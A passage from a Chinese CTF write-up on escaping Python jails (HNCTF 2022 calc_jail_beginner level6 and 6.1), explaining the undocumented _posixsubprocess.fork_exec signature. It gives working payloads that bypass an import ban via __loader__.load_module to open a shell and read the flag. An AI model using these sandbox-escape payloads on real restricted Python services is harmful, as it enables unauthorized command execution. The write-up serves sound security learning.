模块的实现就用到了 445122222
。
该模块的核心功能是 fork_exec
函数,fork_exec
提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在Python的标准库文档中列出,每个版本的 Python 可能有所差异.
在题目的Python3.8环境中,这个函数的声明是这样的:
def fork_exec(
__process_args: Sequence[StrOrBytesPath] | None, # 传递给新进程的命令行参数,通常为程序路径及其参数的列表
__executable_list: Sequence[bytes], # 可执行程序路径的列表
__close_fds: bool, # 如果设置为True,则在新进程中关闭所有的文件描述符
__fds_to_keep: tuple[int, ...], # 一个元组,表示在新进程中需要保持打开的文件描述符的列表
__cwd_obj: str, # 新进程的工作目录
__env_list: Sequence[bytes] | None, # 环境变量列表,它是键和值的序列,例如:["PATH=/usr/bin", "HOME=/home/user"]
__p2cread: int,
__p2cwrite: int,
__c2pred: int,
__c2pwrite: int,
__errread: int,
__errwrite: int, # 以上这些是文件描述符,用于在父子进程间进行通信
__errpipe_read: int,
__errpipe_write: int, # 以上两个文件描述符用于父子进程间的错误通信
__restore_signals: int, # 如果设置为1,则在新创建的子进程中恢复默认的信号处理
__call_setsid: int, # 如果设置为1,则在新进程中创建新的会话
__gid_object: SupportsIndex | None,
__groups_list: list[int] | None,
__uid_object: SupportsIndex | None, # 以上三个参数用于设置新进程的用户ID和组ID
__child_umask: int, # 设置新进程的umask
__preexec_fn: Callable[[], None] # 在新进程中执行的函数,它会在新进程的主体部分执行之前调用
) -> int: ...
那么通过这个函数get shell的方法就是:
_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)
但是这道题还把import ban了,所以os和_posixsubprocess需要使用另一个引入方式引入:
__loader__.load_module('os')
__loader__.load_module(name)
也是Python中用于导入模块的一个方法,并且不需要导入其他任何库。
所以最后的payload如下:
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/bash"], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False, None, None, None, -1, None)
但是不知道为什么,会一次进入python console,一次进入shell,交替进行。但是只要多试几次就能cat flag了。
总结
通过这道题积累到了通过 __loader__.load_module(name)
引入模块的方式,以及利用 _posixsubprocess.fork_exec
来RCE。
NSSCTF: [HNCTF 2022 WEEK3]calc_jail_beginner_level6.1(JAIL)
本题依然可以用上题的payload get shell,但是但是shell秒关,输入任何命令也不见回显,退而求其次考虑直接cat flag:
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat", "flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False, None, None, None, -1, None)